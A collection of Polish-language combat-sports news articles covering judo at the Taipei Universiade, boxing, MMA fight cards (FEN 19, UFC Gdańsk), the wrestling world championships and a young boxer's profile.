Dla Domańskiego i Grabowskiego rywalizacja w Taipei była niezwykle wyczerpująca. Tomasz Domański stoczył sześć walk. Zaczął zdecydowanie i szybko uporał się z Tilenem Hadolinem, następnie wygrał z Elim El Chaerem. W kolejnym starciu Polak trafił na 19. zawodnika światowego rankingu Japończyka Kentaro Iidę. 19-latek okazał się lepszy od Domańskiego, który musiał radzić sobie w repasażach. Polak wygrał dwa starcia, choć z Marko Kumriciem nie miał łatwej przeprawy, ale już Brazylijczyka Souzę odprawił przed czasem. W starciu o brąz Domański trafił na Niiaza Bilalova. 22-letni Rosjanin to mistrz Europy z 2016 roku. Z Domańskim wygrał przed czasem.

W tym roku Kamil Grabowski stanął na trzecim stopniu podium w Saarbruecken. Również w Taipei mógł sięgnąć po medal, gdyby nie zawodnik z Rosjni. Ale po kolei. Wygrana Polaka na początek z reprezentantem Mongolii, a następnie porażka z Youngseo Ju, choć Polak zdobył waza ari. Koreańczyk szybko odpowiedział i wygrał przez ippon. W kolejnych dwóch starciach warunki dyktował Grabowski, który wypunktował rywali. Jednak w starciu o brązowy medal Polak musiał uznać wyższość Rosjanina Antona Bracheva.

Zatrzymani w repasażach

Porażka nie zawsze oznacza koniec marzeń o medalu. Dla judoków nadzieją są zawsze repasaże, w których nie ma miejsca na błąd. Ten, który okaże się w pełni skuteczny może liczyć na walkę o brązowy medal.

Rok temu Paula Kułaga (78kg) była o krok od wywalczenia brązowego medalu mistrzostw Europy juniorów w Maladze, jednak rywalizację zakończyła na piątej pozycji. Zmagania na uniwersjadzie Polka rozpoczęła od szybkiej porażki z Aleksandrą Babintsevą. Podrażniona 21-latka w pierwszej walce repasażowej potrzebowała 36 sekund, aby wygrać z Kolumbijką Johaną Katerin Florez Marin. W kolejnym starciu Kułaga przegrała i ostatecznie została sklasyfikowana na siódmej pozycji.

Trzy zwycięstwa nie dały Jakubowi Kubieńcowi (81kg) walki o medal. Lepsi od Polaka okazali się Seungsu Lee, który zepchnął naszego zawodnika do repasaży, gdzie ten cieszył się z dwóch wygranych, jednak na ostatniej prostej pokonał go Robin Gutsche. Kubieniec zajął ostatecznie siódme miejsce.

KM

Nokaut na wagę czterech pasów

Na gali w Lincoln powody do radości miał Terence Crawford. 30-letni Amerykanin znokautował w trzeciej rundzie Juliusa Indongo i zunifikował tytuły mistrza świata WBO, WBA, WBC i IBF wagi super lekkiej. W Lincoln na ring powrócił Bryant Jennings.

Mistrzowska ścieżka boksera z Omahy trwa od trzech lat. Na początek zdobył pas WBO w wadze lekkiej. Crawford wygrywał kolejne walki i powiększał swój dorobek, co pozwoliło stać się mu swoistym dominatorem.

Indongo na deskach

Smaczek rywalizacji Crawforda i Indongo stanowił fakt, że ich walka była czwartą w historii o wszystkie tytuły najbardziej prestiżowych organizacji. Każdy z aktorów widowiska miał po dwa pasy. Do Crawforda należały tytuły WBC i WBO, zaś do Indongo IBF i WBA. Dodatkowo przed sobotnim pojedynkiem żaden z bokserów nie zaznał goryczy porażki.

Crawforda i Indongo mają odmienne doświadczenie i są na zupełnie innych biegunach. Choć pięściarz z Namibii jest starszy, później zaczynał zawodową karierę. 34-latek dominował na kontynencie afrykańskim, ale świat usłyszał o nim w ubiegłym roku, kiedy w Moskwie znokautował Eduarda Trojanovskiego. Z kolei Crawford od lat dominuje na bokserskich ringach. Najpierw w wadze lekkiej, a teraz super lekkiej.

Starcie w Lincoln było ogromnym wydarzeniem. W końcu zwycięzca miał posiąść wszystko i stać się bezapelacyjnym królem. Wszyscy szykowali się na ucztę, jednak pięściarze, a właściwie Crawford, zaserwowali szybką kolację. Pierwsza runda na rozpoznanie, w drugiej odsłonie Amerykanin ruszył do przodu. Efekt naporu Crawforda był widoczny, bo po ciosie z lewej ręki rywal padł na deski. Indongo miał siły, żeby walczyć dalej, ale były to jego ostatnie zrywy. W trzeciej odsłonie Crawford przeprowadził decydującą akcję. Potężny cios na tułów i Indongo ponownie na deskach, jednak tym razem 34-latek nie dał rady się podnieść. Crawford wygrał 32 walkę w karierze i zgarnął cztery pasy mistrzowskie.

Zwycięski powrót

Blisko dwa lata trwała przerwa Bryanta Jenningsa. Dobrą postawą Amerykanin, w tym wygraną z Arturem Szpilką, zapracował na mistrzowskie starcie z Władimirem Kliczko. Jennings musiał uznać wyższość Ukraińca, jednak prawdziwe lanie zebrał w kolejnym starciu. Bezlitosny dla Amerykanina był Luis Ortiz. W Veronie Kubańczyk rozprawił się z Jenningsem, który od początku przyjmował potężne ciosy. Finał nastąpił w siódmej rundzie. Trzy podbródkowe, Amerykanin na deskach, jednak wstał, ale po chwili prawy sierpowy zakończył rywalizację. Jennings zebrał potężne lanie. 

Po dwóch latach pretendent do tytułu mistrza świata wrócił i pokazał, że umie boksować. W Lincoln pewnie wypunktował Daniela Martza. Przewaga Jenningsa nawet przez chwilę nie podlegała dyskusji. 32-latek bez zbędnych kalkulacji podszedł do rywalizacji i w drugiej rundzie mógł cieszyć się z triumfu. Dla Jenningsa było to 20 zwycięstwo w karierze.

Fot. boxrec

KM

FEN 19 "Bitwa o Wrocław"!

Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.

Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.

Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.

Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.

Źródło: materiały prasowe

""

Biszczak VS Wierzbicki II na FEN 19

W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem (24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.

W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.

Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.

Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.

Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.

Źródło: materiały prasowe

Były mistrz UFC trafił do Bellatora

Na piłkarskim rynku transferowym istne szaleństwo. 222 miliony euro kosztował Paris Saint-Germain Brazylijczyk Neymar. Z kolei Barcelona oferuje astronomiczne kwoty za Coutinho i Dembele. Ale czy tylko na piłkarskim rynku musi być ciekawie? Otóż nie! W MMA jest równie gorąco. Mówi się, że przejście Franka Mira z UFC do Bellatora to transfer roku.

O jakości widowiska decydują gwiazdy. W MMA niepodważalną pozycję lidera wśród organizacji dzierży UFC, która jest celem każdego fightera. Jednak Belltora stara się powiększać grono gwiazd. W ostatnim czasie organizacja dokonała kilku ciekawych „transferów”.

Hit

Frank Mir znalazł się na ustach wszystkich. A to za sprawą zakończenia długoletniej przygody z UFC i związania się z umową z Bellatorem. Niektórzy powiedzą, że najlepsze lata już dawno za Amerykaninem, jednak jego nazwisko nadal wiele znaczy w mieszanych sztukach walki i z pewnością to dobry ruch ze strony założonej w 2008 roku organizacji.

Frank Mir zapisał się w historii UFC jako mistrz wagi ciężkiej. Ponad… trzynaście lat temu (czerwiec 2004 roku) po upływie pięćdziesięciu sekund pokonał Tima Sylvię. Mir założył rywalowi dźwignię prostą na staw łokciowy, co w efekcie doprowadziło do pęknięcia kości promieniowej. Kolejne starcie jednak przegrał. Z kolei cztery lata później zdobył tymczasowy pas wygrywając z Antonio Rodrigo Nogueirą. To były piękne chwile dla Franka Mira, który stał się jedną z gwiazd UFC. Jednak wraz z upływem czasu jego pozycja w hierarchii wagi ciężkiej spadła. Cztery przegrane walki w latach 2012-2014 sprawiły, że wieszczono rychły koniec kariery Amerykanina. Jednak dwie wygrane walki, z Antonio Silvą i Toddem Duffem, dały nadzieję. Okazało się, że był to chwilowy przebłysk formy. Mir przegrał dwa kolejne starcia, a po pojedynku z Markiem Huntem zadeklarował, że chce pożegnać się z UFC. Dodatkowo przyłapano go na stosowaniu niedozwolonych środków i zawieszono na dwa lata.

Nad głową fightera zebrały się czarne chmury. Okazuje się jednak, że kibice będą mogli zobaczyć go jeszcze w oktagonie. 38-letni Mir podpisał umowę z Bellatorem i nie ukrywa zadowolenia z tego faktu. Porozumienie pozwala zawodnikowi na występy na galach innych organizacji.

Są i inni

Nowym zawodnikiem Bellatora został występujący w wadze piórkowej Sam Sicilia. 31-latek walczył ostatnio dla UFC, ale przegrał trzy walki z rzędu i podziękowano mu za współpracę. Sicilia występował w amerykańskiej organizacji przez pięć lat. W tym czasie stoczył dwanaście walk, z których pięć wygrał.

To nie pierwsze tegoroczne „ruchy transferowe” z UFC do Bellatora. W marcu na zmianę barw zdecydował się Lorenz Larkin, który uchodzi za jednego z najbardziej utalentowanych i technicznych stójkowiczów w MMA. W debiucie w Bellatorze 30-latek musiał uznać wyższość Douglasa Limy. 23 września rywalem Larkina będzie Paul Daley.

W lipcu wiele mówiło się o przejściu Gegarda Mousasiego do Belattora. 32-letni Holender wygrał pięć walk z rzędu w UFC i może pochwalić się łącznie 42 triumfami przy sześciu porażkach. Podczas październikowej gali Bellatora 185 będzie miał okazję sprawdzić umiejętności Aleksandra Shlemenko.

Fot. ufc.com

KM

W poszukiwaniu medalu do Paryża

Reprezentacja Polski w zapasach ruszyła do stolicy Francji, gdzie w dniach 21-26 odbędą się mistrzostwa świata. Cel jest oczywisty: przywieźć medal. Jako ostatnia tej sztuki dokonała Iwona Matkowska (48kg), która w 2014 roku w Taszkiencie sięgnęła po srebro.

Na początku maja Polacy rywalizowali w mistrzostwach Europy w Nowym Sadzie. W Serbii biało-czerwoni wywalczyli dwa medale. Powtórka w Paryżu mile widziana.

Bez Michalik

Dużym osłabieniem kadry jest brak Moniki Michalik (63kg). Zawodniczki, która w ostatnim czasie dodała blasku i radości polskim zapasom. To zawodniczka z Poznania stanęła w Rio de Janeiro na trzecim stopniu podium Igrzysk Olimpijskich, a w maju wywalczyła mistrzostwo Europy. Jednak organizm ma swoje ograniczenia. 37-letnia zapaśniczka postanowiła zrezygnować ze startu w Paryżu i odpocząć. Snuto domysły o zakończeniu kariery przez zawodniczkę. Gdzieniegdzie słychać głosy, że Michalik niebawem zaprezentuje się w rywalizacji na zasadach MMA.

W Paryżu zabraknie Moniki Michalik, będzie za to Magomedmurad Gadżijew (70kg). 29-letni zapaśnik urodzony w Gurbuki w maju sięgnął po srebro mistrzostw Europy w stylu wolnym i jest mocnym punktem naszej kadry. Z tym, że w swojej kolekcji nie ma jeszcze medalu mistrzostw świata. Dwa lata temu w Las Vegas Gadżijew był siódmy, ale startował wtedy w kategorii do 65kg.

Rok temu Robert Baran (125kg) rywalizował w Igrzyskach Olimpijskich w Rio de Janeiro. W ćwierćfinale Polak przegrał z Tervelem Dlagnevem. Kilka miesięcy wcześniej zdobył srebro mistrzostw Europy. A teraz w Paryżu przyjdzie mu zadebiutować w światowym czempionacie. Ale nie będzie jedyny. Smak rywalizacji w mistrzostwach świata poznają: Dawid Klimek (75kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Natalia Kubaty (63kg), Andrzej Sokalski (74kg), Mateusz Filipczak (97kg).

Przywieźć medal

Medal w Paryżu byłby sukcesem polskich zapasów. W mistrzostwach Europy nie mamy z tym problemu, jednak na poziomie światowym ogarnęła nas niemoc. Rok temu w Budapeszcie (zmagania w kategoriach nieobecnych na igrzyskach) na ósmych miejscach uplasowali się: Katarzyna Madrowska (60kg), Dawid Kareciński (71kg) i Edgar Babayan (80kg).

Rywalizacja w Paryżu rozpocznie się 21 sierpnia od zmagań klasyków w kategoriach 71, 75, 85 i 98kg. Panie będą walczyły o medale w dniach 23-24 sierpnia. Następnie na placu boju zaprezentują się zapaśnicy w stylu wolnym.

Kadra Polski na mistrzostwach świata w zapasach:

Dawid Ersetic (59kg), Mateusz Bernatek (66kg), Grzegorz Wanke (71kg), Dawid Klimek (75kg), Edgar Babayan (80kg), Tadeusz Michalik (85kg), Radosław Grzybicki (98kg) – wszyscy styl klasyczny, Anna Łukasiak (48kg), Roksana Zasina (53kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Katarzyna Mądrowska (60kg), Natalia Kubaty (63kg) oraz wolniacy: Magomedmurad Gadżyjew (65kg), Andrzej Sokalski (74kg), Zbigniew Baranowski (86kg), Mateusz Filipczak (97kg), Robert Baran (125kg).

KM

Podolak mierzy w medal

Arleta Podolak (57kg) wyruszyła do Taipei z jasnym celem. Polska judoczka chce wywalczyć medal na XXIX Letniej Uniwersjadzie, która odbędzie się w dniach 19-30 sierpnia. Oprócz Podolak, na tatami zobaczymy jedenastu naszych zawodników.

Wielkie święto sportu w stolicy Tajwanu. W imprezie weźmie udział około ośmiu tysięcy sportowców z ponad 150 krajów. 

Daleka podróż

Sportowcy przyzwyczajeni są do podróży. Zdecydowaną większość czasu spędzają poza domem, często w samolotach. Odwiedzają kolejne kraje, pokonują setki kilometrów. Jednak trzeba pamiętać, że podróże są meczące i istotne jest, aby zawodnicy przed startem mieli czas na regenerację. Za kilka dni reprezentanci Polski, w tym judocy, rozpoczną rywalizację podczas uniwersjady w Taipei. – Mamy parę dni na tzw. przestawienie się. Także mam nadzieję, że długa podróż nie będzie miała większego wpływu na mój start. Dodatkowo w razie czego mamy ze sobą melatoninę, która pomaga w takich sytuacjach – wyjaśnia FighTime.pl Arleta Podolak. 

O medale w stolicy Tajwanu powalczy dwunastu polskich judoków. W kadrze, która udała się do Taipei znaleźli się: Joanna Stankiewicz (48kg), Podolak, Urszula Hofman (70kg), Paula Kułaga (78kg), Anna Załęczna (+78kg), Adrian Wala (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Jakub Kubieniec (81kg), Patryk Ciechomski (90kg), Tomasz Domański (100kg) i Kamil Grabowski (+100kg).

Tylko medal

Arleta Podolak zdążyła stęsknić się za tatami. Startowała w lutym w Paryżu, a potem dopiero w lipcu w Mińsku. Przerwa w startach 23-letniej zawodniczki była spowodowana kontuzją łokcia. – Pozostał ślad w postaci blizny, ale zdrowotnie jest bardzo dobrze. Ruchomość jest pełna i nie ma dolegliwości bólowych, a to najważniejsze – przedstawia Podolak.

23-letnia judoczka zdążyła poznać smak najważniejszych imprez. W ubiegłym roku wystąpiła w Igrzyskach Olimpijskich w Rio de Janeiro, zdobywała medale w drużynowych startach w mistrzostwach Europy i świata. Skoro ze zdrowiem wszystko w porządku, judoczka może z nadzieją przystąpić do kolejnego wyzwania, czyli rywalizacji w Taipei. Arleta Podolak mierzy wysoko. – Celem jest medal. Zadowoli mnie każdy kolor, ale wiadomo, że najbardziej ucieszy złoto – nie ukrywa polska judoczka.

W tym roku Podolak, ze względu na kontuzję, straciła mistrzostwa świata. Teraz wystąpi na uniwersjadzie, jednak w jej trakcie rozpoczną się mistrzostwa świata w Budapeszcie. Start w Taipei nie wyklucza jednak występu zawodniczki na Węgrzech. – Tak się składa ze odwiedzę i Taipei i Budapeszt. Na Węgrzech  startuje w turnieju drużynowym – podkreśla 23-letnia Podolak.

KM

FEN 19: Freak Fight w karcie walk i wielki rewanż!

Za nami gala Fight Exclusive Night 18 „Summer Editon”, która odbiła się szerokim echem na północy Polski. To właśnie podczas studio pomiędzy pojedynkami Paweł Jóźwiak, czyli prezes federacji zdradził nazwiska bohaterów Freak Fightu, który będzie ozdobą gali FEN 19.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

W Gdańsku Polaków nie zabraknie

Gala UFC Fight Night w Gdańsku odbędzie się 21 października. Skoro najlepsza organizacja MMA na świecie zawita do Polski, to w karcie walk nie może zabraknąć naszych zawodników. Poznaliśmy kolejne nazwiska. W Ergo Arenie zaprezentują się m.in. Jan Błachowicz i Oskar Piechota. Kolejnego występu na polskiej gali nie zaliczy Daniel Omielańczuk, z którym UFC rozwiązało umowę.

W poniedziałek informowaliśmy o dwóch pierwszy walkach październikowej gali. Debiut w UFC zaliczy Adam Wieczorek, który zmierzy się z Dmitrym Smoliakovem. Z kolei Trevor Smith spotka się z Ramazanem Emeevem.

Szczęśliwa siódemka?

34-letni Jna Błachowicz czeka na zwycięstwo w UFC od ponad roku. Fighter pochodzący z Cieszyna  przegrał dwie ostatnie walki – z Aleksandrem Gustafssonem i Patrickiem Cumminsem. Po raz ostatni Polak cieszył się ze zwycięstwa w kwietniu 2016 roku, kiedy w Zagrzebiu pokonał Igora Pokrajaca. Łącznie Błachowicz stoczył w UFC sześć walk, z których wygrał tylko dwie. Niewykluczone, że starcie w Gdańsku będzie dla niego tym z kategorii „ostatniej szansy”.

Rywalem Błachowicza będzie o pięć lat młodszy Devin Clark. Amerykanin ma mniejsze doświadczenie niż Polak, ale ostatnie miesiące są udane w jego wykonaniu. Debiutował w UFC rok temu i co prawda przegrał z Alexem Nicholsonem, ale dwie kolejne walki wygrał.

W czerwcu Oskar Piechota wywalczył tytuł mistrza wagi średniej organizacji Cage Warriors, a w październiku zadebiutuje w UFC. Dobre występy Polaka zostały dostrzeżone. Polak podpisał umowę w UFC i będzie mógł zaprezentować swoje umiejętności w Gdańsku. Dotychczas Piechota stoczył dziewięć walk i wszystkie wygrał przed czasem! Ostatnie dwa pojedynki zakończył po upływie zaledwie trzydziestu kilku sekund.

Rywalem 27-latka będzie Jonathan Wilson. Amerykanin przeżywa ostatnio trudne chwile, bo przegrał dwie walki z rzędu. Mimo to jest niezwykle groźny. Sześć z siedmiu zwycięskich walk zakończył przed czasem.

Niewykluczone, że w Gdańsku zobaczymy Karolinę Kowalkiewicz i Marcina Helda.

Koniec przygody

Blisko cztery lata trwała przygoda Daniela Omielańczuka z UFC. Amerykańska organizacja postanowiła rozwiązać kontrakt z polskim fighterem. 

Po trzech porażkach z rzędu grunt pod nogami Omielańczuka zaczął się palić. Włodarze UFC nie zamierzali dawać szansy Polakowi. Najlepszy czas Omielańczuka w UFC to lata 2015-2016, kiedy zanotował trzy zwycięstwa z rzędu. Polak pokonał m.in Aleksieja Olejnika. Łącznie Omielańczuk stoczył w UFC dziewięć walk, z których cztery zakończyły się jego triumfem.

Fot. Facebook Jan Błachowicz 

KM

Wieczorek zadebiutuje w Gdańsku

Machina ruszyła. Poznaliśmy dwie pierwsze walki, które odbędą się na październikowej gali UFC Fight Night Gdańsk. Debiut w amerykańskiej organizacji zaliczy zawodnik wagi ciężkiej Adam Wieczorek.

Jesień wcale nie musi być smutna. Z pewnością polscy fani MMA już odliczają dni do gali UFC, która odbędzie się 21 października w Ergo Arenie. Wszyscy zastanawiają się, kto wejdzie do klatki. Dziś (7 sierpnia) poznaliśmy pierwsze nazwiska.

Spełni marzenia

W trójmiejskiej Ergo Arenie pierwszą walkę w UFC stoczy Adam Wieczorek. Popularny „Siwy” uchodzi za jednego z najbardziej utalentowanych polskich zawodników wagi ciężkiej. Z powodzeniem rywalizował na krajowym podwórku i zwrócił na siebie uwagę UFC. Wieczorek przegrał tylko raz, ale było to blisko sześć lat temu. Zawodnik z Chorzowa musiał uznać wyższość… Marcina Tybury, który obecnie występuje w UFC. Od tamtej pory Wieczorek wygrał siedem walk, wszystkie przed czasem.

W marcu Polak podpisał umowę z UFC i miał zadebiutować podczas lipcowej gali w Anaheim. Do walki z Dmitrym Smoliakovem nie doszło, bo rywal doznał kontuzji. – Nie spodziewałem się takiego obrotu spraw i jestem mocno rozczarowany…. – komentował Adam Wieczorek. Ale „co się odwlecze, to nie uciecze”. Panowie spotkają się 21 października w Gdańsku. Wieczorek nie ukrywał, że jego marzeniem są występy w UFC, a więc niebawem dopnie swego. 

Czego Polak może spodziewać się po rywalu? 35-letni Smoliakov walczy o swoją przyszłość w UFC. Przegrał dotychczasowe dwie walki, a kolejna porażka może być bolesna w skutkach. Wcześniej Rosjanin wygrał osiem pojedynków, wszystkie przed czasem. Aż cztery walki Smoliakov zakończył przed upływem minuty walki. Wieczorek będzie musiał mieć się na baczności.

W kolejnej walce gali w trójmiejskiej Ergo Arenie zaprezentują się Trevor Smith i Ramazan Emeev. Dla 36-letniego Amerykanina będzie to dziesiąty pojedynek w UFC. Ostatnio Smith pokonał Chrisa Camozziego. Z kolei Emmev to były mistrz organizacji M-1 w wadze średniej. W Gdańsku przyjdzie mu zadebiutować w UFC. 30-latek ma za sobą cztery zwycięstwa z rzędu, ostatnio walczył w grudniu ubiegłego roku.

Co z Khalidovem?

Ostatnio pojawiły się informacje o tym, że uczestnikiem gali UFC w Gdańsku może być Mamed Khalidov. 39-letni mistrz KSW w wadze średniej zasiadł do rozmów z amerykańską organizacją. Pojawiło się nawet nazwisko potencjalnego rywala Khalidova. Miałby nim być były mistrz UFC w wadze półciężkiej UFC Lyoto Machida. 

W końcu głos zabrał sam Khalidov. – Chciałabym zdementować pogłoski że mam walczyć na UFC w Gdańsku. W tym czasie mam zamiar być w Irlandii na gali KSW 40 – napisał zawodnik na swoim Facebooku.

KM

Polka mieszkająca w Wielkiej Brytanii chce walczyć dla Polski!

Jessica Żelazko wraz z rodzicami i młodszym bratem do Wielkiej Brytanii wyjechała w 2004 roku, miała wtedy 3 lata. W nowym środowisku odnalazła się bardzo szybko, w krótkim czasie ucząc się doskonale władać językiem angielskim. Jessica od najmłodszych lat wspólnie z bratem uczęszczała na różnego rodzaju zajęcia sportowe – akrobatyka, lekkoatletyka, taniec, a nawet piłka nożna. W wieku 7 lat, za małą namową taty, rozpoczęła treningi bokserskie w lokalnym klubie – Crewe ABC.

Nie przeszkadzało jej to, że była tam jedyną dziewczyną, a boks z każdym kolejnym dniem coraz bardziej jej się podobał i nawet przez chwilę nie pomyślała, że nie jest to sport dla niej. W kolejnych latach, gdy treningi bokserskie zaczęły odgrywać znaczącą rolę w jej nastoletnim życiu, postanowiła zrezygnować z zajęć tanecznych oraz treningów lekkoatletycznych, w których odnosiła liczne sukcesy i skoncentrować się wyłącznie na boksie.

Pomimo przegranych dwóch pierwszych walk, Jessica nie załamała się i nie zrezygnowała ze sportu, w którym mimo początkowych niepowodzeń, czuła się bardzo dobrze. Po wspomnianych dwóch porażkach wspólnie z rodzicami zdecydowała się na zmianę klubu i zaczęła uczęszczać na zajęcia bokserskie w miejscowości Macclesfield, do której musiała dojeżdżać około 30 kilometrów 3 razy w tygodniu. Od tamtej pory Jessica zaczęła wygrywać kolejne swoje walki, co jeszcze bardziej zmotywowało ją do cięższych treningów i utwierdziło w przekonaniu, że właśnie to chce robić w przyszłości – boksować.

Jej zwycięstwa i postawa na treningach nie uszły uwadze trenerom angielskiej kadry narodowej i po testach sprawnościowych, w których wypadła najlepiej z całej grupy, w sierpniu 2016 roku zakwalifikowała się do „England Talent Programme” co oznaczało, że będzie trenować pod okiem najlepszych szkoleniowców brytyjskiej kadry w „English Institute of Sport” w Sheffield.

Na początku 2017 roku Jessica Żelazko wywalczyła wicemistrzostwo Anglii, a dwa dni później pokonała mistrzynię Irlandii. Po tych sukcesach w kadrze, awansowała na poziom „Challenge”, czyli uzyskała możliwość reprezentowania Anglii na międzynarodowych turniejach. Jednak w międzyczasie, Jessica coraz częściej zastanawiała się, czy nie mogłaby występować, jako reprezentantka kraju, z którego pochodzi, czyli z Polski. Kilka lat wcześniej była już dwukrotnie w Polsce na turniejach bokserskich, które oczywiście wygrała, a w jednym z nich otrzymała również nagrodę dla najlepszego zawodnika turnieju w swojej kategorii. Miała również okazję trenować gościnie w kilku klubach w Polsce, głównie w Warszawie.

""

Dzięki Fundacji im. Feliksa Stamma poznała trenera Jacka Dymowskiego z Żoliborskiej Szkoły Boksu, z którym wspólnie zdecydowali się wystartować w Ogólnopolskiej Olimpiadzie Młodzieży. Jessica kolejny raz, dla boksu musiała poświęcić „życie prywatne”, ponieważ w tym samym czasie w Anglii odbywał się jej bal z okazji zakończenia szkoły. Jest to ważna uroczystość dla absolwentów szkół średnich, podobnie jak bal maturalny w Polsce. Jednak Jessica postanowiła wystąpić na OOM i była to słuszna decyzja. W Pułtusku wywalczyła mistrzostwo Polski oraz nagrodę dla najlepszej zawodniczki turnieju. Po tym sukcesie otrzymała powołanie do Młodzieżowej Kadry Polski i… stanęła przed kolejną trudną, życiową decyzją – który kraj reprezentować w przyszłości? Czy wybrać starty jako zawodniczka Wielkiej Brytanii  i reprezentować kraj, w którym się wychowała, w którym ma przyjaciół, szkołę, dom i w którym mieszkają jej rodzice i brat, czy może reprezentować kraj, w którym się urodziła.

